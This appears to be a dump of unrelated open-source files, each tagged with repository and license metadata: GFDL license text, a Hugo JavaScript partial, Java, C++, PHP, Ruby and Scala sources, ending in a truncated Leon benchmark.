A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an ``aggregate'' if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
\subsubsection{Translation}
Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
If a section in the Document is Entitled ``Acknowledgements'', ``Dedications'', or ``History'', the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
\subsubsection{Termination}
You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally
terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
Termination of your rights under this section does not terminate the licenses of parties who have received copise or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
\subsubsection{Future Revisions of this License}
The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License ``or any later version'' applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this
License can be used, that proxy’s public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
\subsubsection{Relicensing}
``Massive Multiauthor Collaboration Site'' (or ``MMC Site'') means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A ``Massive Multiauthor Collaboration'' (or ``MMC'') contained in the site means any set of copyrightable works thus published on the MMC site.
``CC-BY-SA'' means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
``Incorporate'' means to publish or republish a Document, in whole or in part, as part of another Document.
An MMC is ``eligible for relicensing'' if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
\subsubsection{Addendum: How to use this License for your documents}
To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
\bigskip
\begin{quote}
Copyright \copyright \textsc{year your name}.
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled ``GNU Free Documentation License''.
\end{quote}
\bigskip
If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the ``with \dots\ Texts.'' line with this:
\bigskip
\begin{quote}
with the Invariant Sections being \textsc{list their titles}, with the Front-Cover Texts being \textsc{list}, and with the Back-Cover Texts being \textsc{list}.
\end{quote}
\bigskip
If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
\providecommand{\LPPLsection}{\subsection}
\providecommand{\LPPLsubsection}{\subsubsection}
\providecommand{\LPPLsubsubsection}{\subsubsection}
\providecommand{\LPPLparagraph}{\paragraph}
\input{lppl}
|
thalerjonathan/phd
|
presentations/UNNC/beamer/doc/beamerug-license.tex
|
TeX
|
gpl-3.0
| 40,686 |
{{ $scr := $.Scratch }}
{{/* Attempt to load local vendor JS, otherwise load from CDN. */}}
{{ $js := site.Data.assets.js }}
{{ if not ($scr.Get "use_cdn") }}
<script src="{{ printf "/js/vendor/%s" ($scr.Get "vendor_js_filename") | relURL }}"></script>
{{ else }}
{{ printf "<script src=\"%s\" integrity=\"%s\" crossorigin=\"anonymous\"></script>" (printf $js.jQuery.url $js.jQuery.version) $js.jQuery.sri | safeHTML }}
{{ printf "<script src=\"%s\" integrity=\"%s\" crossorigin=\"anonymous\"></script>" (printf $js.imagesLoaded.url $js.imagesLoaded.version) $js.imagesLoaded.sri | safeHTML }}
{{ printf "<script src=\"%s\" integrity=\"%s\" crossorigin=\"anonymous\"></script>" (printf $js.isotope.url $js.isotope.version) $js.isotope.sri | safeHTML }}
{{ printf "<script src=\"%s\" integrity=\"%s\" crossorigin=\"anonymous\"></script>" (printf $js.fancybox.url $js.fancybox.version) $js.fancybox.sri | safeHTML }}
{{ if or .Params.diagram site.Params.diagram }}
{{ printf "<script src=\"%s\" integrity=\"%s\" crossorigin=\"anonymous\" title=\"mermaid\"></script>" (printf $js.mermaid.url $js.mermaid.version) $js.mermaid.sri | safeHTML }}
{{ end }}
{{ if $.Scratch.Get "highlight_enabled" }}
{{ $v := $js.highlight.version }}
{{ printf "<script src=\"%s\" integrity=\"%s\" crossorigin=\"anonymous\"></script>" (printf $js.highlight.url $v) $js.highlight.sri | safeHTML }}
{{ range site.Params.highlight_languages }}
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/{{ $v }}/languages/{{ . }}.min.js"></script>
{{ end }}
{{ end }}
{{ end }}
{{/* Maps JS. */}}
{{ if eq site.Params.map.engine 1 }}
<script async defer src="https://maps.googleapis.com/maps/api/js?key={{ site.Params.map.api_key }}"></script>
{{ if ($scr.Get "use_cdn") }}
{{ printf "<script src=\"%s\" integrity=\"%s\" crossorigin=\"anonymous\"></script>" (printf $js.gmaps.url $js.gmaps.version) $js.gmaps.sri | safeHTML }}
{{ end }}
{{ else if and (or (eq site.Params.map.engine 2) (eq site.Params.map.engine 3)) ($scr.Get "use_cdn") }}
{{ printf "<script src=\"%s\" integrity=\"%s\" crossorigin=\"anonymous\"></script>" (printf $js.leaflet.url $js.leaflet.version) $js.leaflet.sri | safeHTML }}
{{ end }}
{{/* Initialise code highlighting. */}}
{{ if $.Scratch.Get "highlight_enabled" }}
<script>const code_highlighting = true;</script>
{{ else }}
<script>const code_highlighting = false;</script>
{{ end }}
{{ if ne site.Params.search.engine 0 }}
{{/* Configure search engine. */}}
{{ $min_length := site.Params.search.academic.min_length | default 1 }}
{{ $threshold := site.Params.search.academic.threshold | default 0.3 }}
{{ $search_i18n := dict "placeholder" (i18n "search_placeholder") "results" (i18n "search_results") "no_results" (i18n "search_no_results") }}
{{ $search_config := dict "indexURI" ("/index.json" | relLangURL) "threshold" $threshold "minLength" $min_length }}
<script>
const search_config = {{ $search_config | jsonify | safeJS }};
const i18n = {{ $search_i18n | jsonify | safeJS }};
const content_type = {
'post': {{ i18n "posts" }},
'project': {{ i18n "projects" }},
'publication' : {{ i18n "publications" }},
'talk' : {{ i18n "talks" }}
};
</script>
{{ end }}
{{/* Load hash anchors for documentation pages. */}}
{{ if eq .Type "docs" }}
{{ printf "<script src=\"%s\" integrity=\"%s\" crossorigin=\"anonymous\"></script>" (printf $js.anchor.url $js.anchor.version) $js.anchor.sri | safeHTML }}
<script>
anchors.add();
</script>
{{ end }}
{{ if eq site.Params.search.engine 1 }}
{{/* Fuse search result template. */}}
<script id="search-hit-fuse-template" type="text/x-template">
<div class="search-hit" id="summary-{{"{{key}}"}}">
<div class="search-hit-content">
<div class="search-hit-name">
{{ printf "<a href=\"%s\">%s</a>" "{{relpermalink}}" "{{title}}" | safeHTML }}
<div class="article-metadata search-hit-type">{{"{{type}}"}}</div>
<p class="search-hit-description">{{"{{snippet}}"}}</p>
</div>
</div>
</div>
</script>
{{ else if eq site.Params.search.engine 2 }}
{{/* Algolia search result template. */}}
<script id="search-hit-algolia-template" type="text/html">
<div class="search-hit">
<div class="search-hit-content">
<div class="search-hit-name">
{{ printf "<a href=\"%s\">{{{_highlightResult.title.value}}}</a>" "{{relpermalink}}" | safeHTML }}
</div>
<div class="article-metadata search-hit-type">{{"{{type}}"}}</div>
<p class="search-hit-description">{{ safeHTML "{{{_highlightResult.summary.value}}}" }}</p>
</div>
</div>
</script>
{{ end }}
{{/* Fuse search engine. */}}
{{ if and (eq site.Params.search.engine 1) ($scr.Get "use_cdn") }}
{{ printf "<script src=\"%s\" integrity=\"%s\" crossorigin=\"anonymous\"></script>" (printf $js.fuse.url $js.fuse.version) $js.fuse.sri | safeHTML }}
{{ printf "<script src=\"%s\" integrity=\"%s\" crossorigin=\"anonymous\"></script>" (printf $js.mark.url $js.mark.version) $js.mark.sri | safeHTML }}
{{ end }}
{{/* Algolia search engine. */}}
{{ if eq site.Params.search.engine 2 }}
{{ if ($scr.Get "use_cdn") }}
{{ printf "<script src=\"%s\" integrity=\"%s\" crossorigin=\"anonymous\"></script>" (printf $js.instantsearch.url $js.instantsearch.version) $js.instantsearch.sri | safeHTML }}
{{ end }}
<script>
const algoliaConfig = {
appId: {{ site.Params.search.algolia.app_id }},
apiKey: {{ site.Params.search.algolia.api_key }},
indexName: {{ site.Params.search.algolia.index_name }},
poweredBy: {{ site.Params.search.algolia.show_logo | default false }}
};
</script>
{{ end }}
{{/* Disqus Comment Count JS. */}}
{{ if and (eq site.Params.comments.engine 1) (site.Params.comments.disqus.show_count | default true) }}
<script id="dsq-count-scr" src="https://{{site.Params.comments.disqus.shortname}}.disqus.com/count.js" async></script>
{{ end }}
{{ $js_comment := printf "/* Source Themes Academic v%s | https://sourcethemes.com/academic/ */\n" site.Data.academic.version }}
{{ $js_bundle_head := $js_comment | resources.FromString "js/bundle-head.js" }}
{{ $js_linebreak := "\n" | resources.FromString "js/linebreak.js" }}{{/* Fix no line break after Bootstrap JS causing error. */}}
{{ $js_academic := resources.Get "js/academic.js" }}
{{ $js_academic_search := resources.Get "js/academic-search.js" }}
{{ $js_algolia_search := resources.Get "js/algolia-search.js" }}
{{ $js_bootstrap := resources.Get "js/vendor/bootstrap.min.js" }}
{{ $js_bundle := slice $js_bootstrap $js_linebreak $js_academic }}
{{ if eq site.Params.search.engine 1 }}
{{ $js_bundle = $js_bundle | append $js_academic_search }}
{{ else if eq site.Params.search.engine 2 }}
{{ $js_bundle = $js_bundle | append $js_algolia_search }}
{{ end }}
{{ range site.Params.plugins_js }}
{{ $js_bundle = $js_bundle | append (resources.Get (printf "js/%s.js" .)) }}
{{ end }}
{{ $js_bundle := $js_bundle | resources.Concat "js/academic-bundle-pre.js" | minify }}
{{ $js_bundle := slice $js_bundle_head $js_bundle | resources.Concat "js/academic.min.js" | fingerprint "md5" }}
<script src="{{ $js_bundle.RelPermalink }}"></script>
{{ partial "custom_js" . }}
|
palfalvi/palfalvi.github.io
|
themes/hugo-academic/layouts/partials/site_js.html
|
HTML
|
gpl-3.0
| 7,709 |
package com.encens.khipus.action.finances;
import com.encens.khipus.framework.action.QueryDataModel;
import com.encens.khipus.model.finances.ExchangeRate;
import org.jboss.seam.ScopeType;
import org.jboss.seam.annotations.Create;
import org.jboss.seam.annotations.Name;
import org.jboss.seam.annotations.Scope;
import java.util.Arrays;
import java.util.List;
/**
* ExchangeRateDataModel
*
* @author
*/
@Name("exchangeRateDataModel")
@Scope(ScopeType.PAGE)
public class ExchangeRateDataModel extends QueryDataModel<Long, ExchangeRate> {
private static final String[] RESTRICTIONS =
{"exchangeRate.rate = #{exchangeRateDataModel.criteria.rate}"};
@Create
public void init() {
sortProperty = "exchangeRate.rate";
}
@Override
public String getEjbql() {
return "select exchangeRate from ExchangeRate exchangeRate";
}
@Override
public List<String> getRestrictions() {
return Arrays.asList(RESTRICTIONS);
}
}
|
borboton13/sisk13
|
src/main/com/encens/khipus/action/finances/ExchangeRateDataModel.java
|
Java
|
gpl-3.0
| 989 |
/*
* Vortex OpenSplice
*
* This software and documentation are Copyright 2006 to TO_YEAR ADLINK
* Technology Limited, its affiliated companies and licensors. All rights
* reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
package org.opensplice.common.controller;
import java.awt.Component;
import javax.swing.JLabel;
import javax.swing.JTable;
import javax.swing.UIManager;
import javax.swing.border.Border;
import javax.swing.border.EmptyBorder;
import javax.swing.table.TableCellRenderer;
import org.opensplice.common.util.Config;
/**
* Renderer that is capable of rendering cells in a JTable.
*
* @date Nov 8, 2004
*/
public class UserDataSingleTableCellRenderer extends JLabel implements TableCellRenderer{
private String[] highlightKeys = null;
private String[] highlightRequired = null;
protected static final Border noFocusBorder = new EmptyBorder(1, 1, 1, 1);
/**
* Constructs a new UserDataTableCellRenderer that can be attached to
* a JTable. This class is meant to render cells in a UserDataTable. It
* colors the background of certain cells green, to notify the user of
* keys in the data.
*
* @param _highlight The list of keys.
*
*/
public UserDataSingleTableCellRenderer(String[] _highlightKeys, String[] _highlightRequired){
super();
highlightKeys = _highlightKeys;
highlightRequired = _highlightRequired;
setOpaque(true);
setBorder(noFocusBorder);
}
/**
* Provides a component to display in the table according to the supplied
* arguments. This function is called by the table when it needs to render a
* cell.
*
* @param table The table in which the cell will be drawn.
* @param value The value of the cell.
* @param isSelected Whether or not the cell is selected.
* @param hasFocus Whether or not the cell has the focus.
* @param row The row of the cell in the table.
* @param column The column of the cell in the table.
*/
@Override
public Component getTableCellRendererComponent(
JTable table, Object value, boolean isSelected, boolean hasFocus,
int row, int column)
{
if (isSelected) {
super.setForeground(table.getSelectionForeground());
super.setBackground(table.getSelectionBackground());
}
else {
super.setForeground(table.getForeground());
// Key highlight takes precedence over required highlight.
boolean isKey = containsKey(value.toString());
boolean isReq = containsRequired(value.toString());
if (isReq){
super.setBackground(Config.getCustomColor1());
}
if (isKey) {
super.setBackground(Config.getSensitiveColor());
}
if (!isKey && !isReq) {
super.setBackground(table.getBackground());
}
}
setFont(table.getFont());
if(hasFocus) {
setBorder( UIManager.getBorder("Table.focusCellHighlightBorder") );
if (table.isCellEditable(row, column)) {
super.setForeground( UIManager.getColor("Table.focusCellForeground") );
super.setBackground( UIManager.getColor("Table.focusCellBackground") );
}
} else {
setBorder(noFocusBorder);
}
if(value == null){
setText("");
} else {
setText(value.toString());
}
return this;
}
private boolean containsKey(String key){
if(highlightKeys == null){
return false;
}
for(int i=0; i<highlightKeys.length; i++){
if(highlightKeys[i].equals(key)){
return true;
}
}
return false;
}
private boolean containsRequired(String required){
if(highlightRequired == null){
return false;
}
for(int i=0; i<highlightRequired.length; i++){
if(highlightRequired[i].equals(required)){
return true;
}
}
return false;
}
}
|
PrismTech/opensplice
|
src/tools/cm/common/code/org/opensplice/common/controller/UserDataSingleTableCellRenderer.java
|
Java
|
gpl-3.0
| 4,827 |
/****************************************************************************
**
** Copyright (C) 2021 The Qt Company Ltd.
** Contact: https://www.qt.io/licensing/
**
** This file is part of Qt Creator.
**
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms
** and conditions see https://www.qt.io/terms-conditions. For further
** information use the contact form at https://www.qt.io/contact-us.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3 as published by the Free Software
** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT
** included in the packaging of this file. Please review the following
** information to ensure the GNU General Public License requirements will
** be met: https://www.gnu.org/licenses/gpl-3.0.html.
**
****************************************************************************/
#pragma once
#include "googletest.h"
#include <projectstorage/qmldocumentparserinterface.h>
class QmlDocumentParserMock : public QmlDesigner::QmlDocumentParserInterface
{
public:
MOCK_METHOD(QmlDesigner::Storage::Type,
parse,
(const QString &, QmlDesigner::Storage::Imports &),
(override));
};
|
qtproject/qt-creator
|
tests/unit/unittest/qmldocumentparsermock.h
|
C
|
gpl-3.0
| 1,543 |
package mods.battlegear2.api.heraldry;
import net.minecraft.item.ItemStack;
public interface IHeraldryItem {
String heraldryTag = "hc1";
enum HeraldyRenderPassess{
Pattern,
SecondaryColourTrim,
PostRenderIcon
}
/**
* Returns the "base" icon. This icon will be coloured the primary colour
*/
//public IIcon getBaseIcon(ItemStack stack);
/**
* Returns the trim icon, This will be coloured the secondary colour
*/
//public IIcon getTrimIcon(ItemStack stack);
/**
* Returns the post render icon, this Icon will render after all other rendering passess in it's default colour
*/
//public IIcon getPostRenderIcon(ItemStack stack);
/**
* Returns true if the given itemstack has heraldy attached
*/
boolean hasHeraldry(ItemStack stack);
/**
* Returns the current heraldy code, this will only be called on ItemStacks that have been found to have heraldry using the hasHeraldryMethod
*/
byte[] getHeraldry(ItemStack stack);
/**
* Saves the given heraldry code in the given stack. It is recommended to save the Byte array representation of the crest in the NBT
*/
void setHeraldry(ItemStack stack, byte[] data);
/**
* Removes the heraldry code from the item
*/
void removeHeraldry(ItemStack item);
/**
* Returns true if the default renderer should perform the given render pass
*/
boolean shouldDoPass(HeraldyRenderPassess pass);
/**
* Returns true if the default renderer should be used.
* If the method returns true, the default renderer will be attached.
* If this method returns false it is the modders responsibility to attach an appropriate renderer
*/
boolean useDefaultRenderer();
}
|
Mine-and-blade-admin/Battlegear2
|
battlegear mod src/minecraft/mods/battlegear2/api/heraldry/IHeraldryItem.java
|
Java
|
gpl-3.0
| 1,800 |
<?php
/**
* @package Mautic
* @copyright 2015 Mautic Contributors. All rights reserved.
* @author Mautic
* @link http://mautic.org
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
namespace Mautic\CoreBundle\Tests\Helper;
use Mautic\CoreBundle\Helper\ColorHelper;
/**
* Class ColorHelper test
*/
class ColorHelperTest extends \PHPUnit_Framework_TestCase
{
/**
* @testdox The helper is instantiated correctly
*
* @covers Mautic\CoreBundle\Helper\ColorHelperTest::__construct
*/
public function testTheHelperIsInstantiatedWithoutAttributeCorrectly()
{
$helper = new ColorHelper;
$this->assertAttributeSame(0, 'red', $helper);
$this->assertAttributeSame(0, 'green', $helper);
$this->assertAttributeSame(0, 'blue', $helper);
}
/**
* @testdox A color hex hash can be set and the correct RGB representations filled
*
* @covers Mautic\CoreBundle\Helper\EncryptionHelper::__construct
*/
public function testThatColorHexAreSetCorrectly()
{
$colors = [
'#ccc' => [204, 204, 204],
'#fff' => [255, 255, 255],
'#000' => [0, 0, 0],
'#333333' => [51, 51, 51],
'#369' => [51, 102, 153],
'#f8Ac30' => [248, 172, 48]
];
foreach ($colors as $hex => $rgb) {
$helper = new ColorHelper($hex);
$this->assertAttributeSame($rgb[0], 'red', $helper);
$this->assertAttributeSame($rgb[1], 'green', $helper);
$this->assertAttributeSame($rgb[2], 'blue', $helper);
}
}
/**
* @testdox A color hex hash can be set and received in the correct and valid hex format
*
* @covers Mautic\CoreBundle\Helper\EncryptionHelper::setHex
* @covers Mautic\CoreBundle\Helper\EncryptionHelper::toHex
*/
public function testThatColorHexAreConvertedBackToHexCorrectly()
{
$colors = [
'#ccc' => '#cccccc',
'#fff' => '#ffffff',
'#000' => '#000000',
'#333333' => '#333333',
'#369' => '#336699',
'#f8Ac30' => '#f8ac30'
];
foreach ($colors as $hex1 => $hex2) {
$helper = new ColorHelper;
$helper->setHex($hex1);
$this->assertEquals($hex2, $helper->toHex());
}
}
/**
* @testdox A color hex hash can be set and received in the correct and valid rgb format
*
* @covers Mautic\CoreBundle\Helper\EncryptionHelper::toRgb
*/
public function testThatColorHexAreConvertedToRgbCorrectly()
{
$colors = [
'#ccc' => 'rgb(204,204,204)',
'#fff' => 'rgb(255,255,255)',
'#000' => 'rgb(0,0,0)',
'#333333' => 'rgb(51,51,51)',
'#369' => 'rgb(51,102,153)',
'#f8Ac30' => 'rgb(248,172,48)'
];
foreach ($colors as $hex => $rgb) {
$helper = new ColorHelper($hex);
$this->assertEquals($rgb, $helper->toRgb());
}
}
/**
* @testdox A color hex hash can be set and received in the correct and valid rgba format
*
* @covers Mautic\CoreBundle\Helper\EncryptionHelper::toRgba
*/
public function testThatColorHexAreConvertedToRgbaCorrectly()
{
$colors = [
'#ccc' => 'rgba(204,204,204,%g)',
'#fff' => 'rgba(255,255,255,%g)',
'#000' => 'rgba(0,0,0,%g)',
'#333333' => 'rgba(51,51,51,%g)',
'#369' => 'rgba(51,102,153,%g)',
'#f8Ac30' => 'rgba(248,172,48,%g)'
];
foreach ($colors as $hex => $rgba) {
$helper = new ColorHelper($hex);
$randA = round((mt_rand(0, mt_getrandmax() - 1) / mt_getrandmax()), 2);
$this->assertEquals(sprintf($rgba, $randA), $helper->toRgba($randA, $randA));
}
}
/**
* @testdox The random color is within borders and not 0, 0, 0
*
* @covers Mautic\CoreBundle\Helper\EncryptionHelper::buildRandomColor
* @covers Mautic\CoreBundle\Helper\EncryptionHelper::getColorArray
*/
public function testThatRandomColorIsWithinBorders()
{
$helper = new ColorHelper;
$helper->buildRandomColor();
$rgb = $helper->getColorArray();
$this->assertGreaterThan(0, $rgb[0]);
$this->assertGreaterThan(0, $rgb[1]);
$this->assertGreaterThan(0, $rgb[2]);
$this->assertLessThanOrEqual(256, $rgb[0]);
$this->assertLessThanOrEqual(256, $rgb[1]);
$this->assertLessThanOrEqual(256, $rgb[2]);
}
}
|
drmmr763/mautic
|
app/bundles/CoreBundle/Tests/Helper/ColorHelperTest.php
|
PHP
|
gpl-3.0
| 4,738 |
# Fred Stollery
### Location
Richland, Washington, United States
### Interests
- Gaming
- Podcasting
- Game Development
### Development
- HTML, CSS, Javascript, some PHP, and JQuery
### Projects
- SmeggCo.com and it's in progress redesign.
### Profile Link
[Fred Stollery](https://github.com/actatus)
|
AliceWonderland/hacktoberfest
|
profiles/Fred_Stollery.md
|
Markdown
|
gpl-3.0
| 310 |
package at.laborg.briss;
import java.io.File;
import java.io.FileFilter;
import java.util.Date;
import at.laborg.briss.utils.BrissFileHandling;
public final class AutoCropTest {
private AutoCropTest() {
};
/**
* @param args
*/
public static void main(final String[] args) {
File wd = new File(System.getProperty("user.dir") + File.separatorChar
+ "pdftests");
File outputDirectory = new File(wd.getAbsolutePath()
+ File.separatorChar + new Date().toString());
outputDirectory.mkdir();
for (File file : wd.listFiles(new FileFilter() {
public boolean accept(final File file) {
return file.getAbsolutePath().toLowerCase().endsWith(".pdf");
}
})) {
String[] jobargs = new String[4];
jobargs[0] = "-s";
jobargs[1] = file.getAbsolutePath();
jobargs[2] = "-d";
File recommended = BrissFileHandling
.getRecommendedDestination(file);
String output = outputDirectory.getAbsolutePath()
+ File.separatorChar + recommended.getName();
jobargs[3] = output;
BrissCMD.autoCrop(jobargs);
}
}
}
|
amremam2004/briss
|
src/test/java/at/laborg/briss/AutoCropTest.java
|
Java
|
gpl-3.0
| 1,059 |
/*********************************************************************************************
*
* 'JDataStorePage.java, in plugin ummisco.gama.ui.viewers, is part of the source code of the
* GAMA modeling and simulation platform.
* (c) 2007-2016 UMI 209 UMMISCO IRD/UPMC & Partners
*
* Visit https://github.com/gama-platform/gama for license information and developers contact.
*
*
**********************************************************************************************/
package ummisco.gama.ui.viewers.gis.geotools.control;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.eclipse.jface.wizard.WizardPage;
import org.eclipse.swt.SWT;
import org.eclipse.swt.layout.GridData;
import org.eclipse.swt.layout.GridLayout;
import org.eclipse.swt.widgets.Composite;
import org.eclipse.swt.widgets.Label;
import org.geotools.data.DataAccessFactory.Param;
import org.geotools.data.DataStoreFactorySpi;
import org.geotools.data.Parameter;
/**
* Data store wizard page for the {@link JDataStoreWizard data store wizard}.
*
* @author Andrea Antonello (www.hydrologis.com)
*
*
*
* @source $URL$
*/
public class JDataStorePage extends WizardPage {
public static final String ID = "ummisco.gama.ui.viewers.gis.geotools.data.DataStorePage";
/**
* Factory for which we are collection connection parameters
*/
protected DataStoreFactorySpi format;
/** Map of user interface ParamFields displayed to the user */
private final Map<Param, ParamField> fields = new HashMap<Param, ParamField>();
/** Connection params for datastore */
protected Map<String, Object> connectionParameters;
/** level of parameters to display */
private String level = null;
public JDataStorePage(final DataStoreFactorySpi format) {
this(format, null);
}
public JDataStorePage(final DataStoreFactorySpi format, Map<String, Object> params) {
super(ID);
if (format != null) {
setTitle(format.getDisplayName());
setDescription(format.getDescription());
}
this.format = format;
if (params == null) {
params = new HashMap<String, Object>();
if (format != null) {
for (final Param param : format.getParametersInfo()) {
params.put(param.key, param.sample);
}
}
}
this.connectionParameters = params;
}
@Override
public void setVisible(final boolean visible) {
if (visible) {
preDisplayPanel();
} else {
preClosePanel();
}
super.setVisible(visible);
}
@Override
public void createControl(final Composite parent) {
final Composite mainComposite = new Composite(parent, SWT.NONE);
final GridLayout gridLayout = new GridLayout(2, false);
mainComposite.setLayout(gridLayout);
for (final Param param : format.getParametersInfo()) {
if (level != null) {
String check = param.metadata == null ? "user" : (String) param.metadata.get(Parameter.LEVEL);
if (check == null) {
check = "user";
}
if (level.equals(check)) {
// we are good this is the one we want
} else {
continue; // skip since it is not the one we want
}
}
String txt = param.title.toString();
if (param.required) {
txt += "*";
}
final Label label = new Label(mainComposite, SWT.NONE);
label.setLayoutData(new GridData(SWT.BEGINNING, SWT.CENTER, false, false));
label.setText(txt);
final ParamField field = ParamField.create(mainComposite, param);
field.doLayout();
fields.put(param, field);
// if (param.description != null) {
// JLabel info = new
// JLabel(formatDescription(param.description.toString()));
// page.add(info, "skip, span, wrap");
// }
}
setControl(mainComposite);
}
private void preDisplayPanel() {
// populate panel from params map
for (final Entry<Param, ParamField> entry : fields.entrySet()) {
final Param param = entry.getKey();
final ParamField field = entry.getValue();
Object value = null;
try {
value = param.lookUp(connectionParameters);
} catch (final IOException e) {
}
if (value == null && param.required) {
value = param.sample;
}
field.setValue(value);
}
// for( Entry<Param, ParamField> entry : fields.entrySet() ) {
// ParamField field = entry.getValue();
// TODO field.addListener(getWizard().getController());
// }
}
private void preClosePanel() {
for (final Entry<Param, ParamField> entry : fields.entrySet()) {
final Param param = entry.getKey();
final ParamField field = entry.getValue();
final Object value = field.getValue();
connectionParameters.put(param.key, value);
field.setValue(value);
}
// for( Entry<Param, ParamField> entry : fields.entrySet() ) {
// ParamField field = entry.getValue();
// TODO field.removeListener(getJWizard().getController());
// }
}
public void setLevel(final String level) {
this.level = level;
}
public void setFormat(final DataStoreFactorySpi format) {
if (this.format != format) {
this.format = format;
}
}
public boolean isValid() {
// populate panel
for (final Entry<Param, ParamField> entry : fields.entrySet()) {
if (!entry.getValue().validate()) {
return false; // not validate
}
if (entry.getKey().required && entry.getValue().getValue() == null) {
}
}
return true;
}
// private String formatDescription( String desc ) {
// String prefix = "<html>";
// final int LEN = desc.length();
//
// if (LEN < MAX_DESCRIPTION_WIDTH) {
// return prefix + desc;
// } else {
// StringBuffer sb = new StringBuffer(prefix);
// StringTokenizer tokenizer = new StringTokenizer(desc);
//
// int n = 0;
// while( tokenizer.hasMoreTokens() ) {
// String word = tokenizer.nextToken();
// if (n + word.length() + 1 > MAX_DESCRIPTION_WIDTH) {
// sb.append("<br>");
// n = 0;
// }
// sb.append(word);
// sb.append(' ');
// n += word.length() + 1;
// }
//
// return sb.toString();
// }
// }
}
|
hqnghi88/gamaClone
|
ummisco.gama.ui.viewers/src/ummisco/gama/ui/viewers/gis/geotools/control/JDataStorePage.java
|
Java
|
gpl-3.0
| 5,904 |
module VpsAdmind
class Commands::Dataset::CloneSnapshotName < Commands::Base
handle 5224
def exec
db = Db.new
rs = db.query("SELECT id, name FROM snapshots WHERE id IN (#{@snapshots.keys.join(',')})")
rs.each_hash do |row|
s = @snapshots[row['id']]
db.prepared('UPDATE snapshots SET name = ? WHERE id = ?', row['name'], s[1])
end
db.close
ok
end
def rollback
db = Db.new
@snapshots.values.each do |s|
db.prepared('UPDATE snapshots SET name = ? WHERE id = ?', s[0], s[1])
end
db.close
ok
end
end
end
|
vpsfreecz/vpsadmin-webui
|
vpsadmind/lib/vpsadmind/commands/dataset/clone_snapshot_name.rb
|
Ruby
|
gpl-3.0
| 620 |
import leon.instrumentation._
import leon.invariant._
import leon.annotation._
object SpeedBenchmarks {
sealed abstract class List
case class Cons(head: BigInt, tail: List) extends List
case class Nil() extends List
def size(l: List): BigInt = (l match {
case Nil() => 0
case Cons(_, t) => 1 + size(t)
})
sealed abstract class StringBuffer
case class Chunk(str: List, next: StringBuffer) extends StringBuffer
case class Empty() extends StringBuffer
def length(sb: StringBuffer) : BigInt = sb match {
case Chunk(_, next) => 1 + length(next)
case _ => 0
}
def sizeBound(sb: StringBuffer, k: BigInt) : Boolean ={
sb match {
case Chunk(str, next) => size(str) <= k && sizeBound(next, k)
case _ => 0 <= k
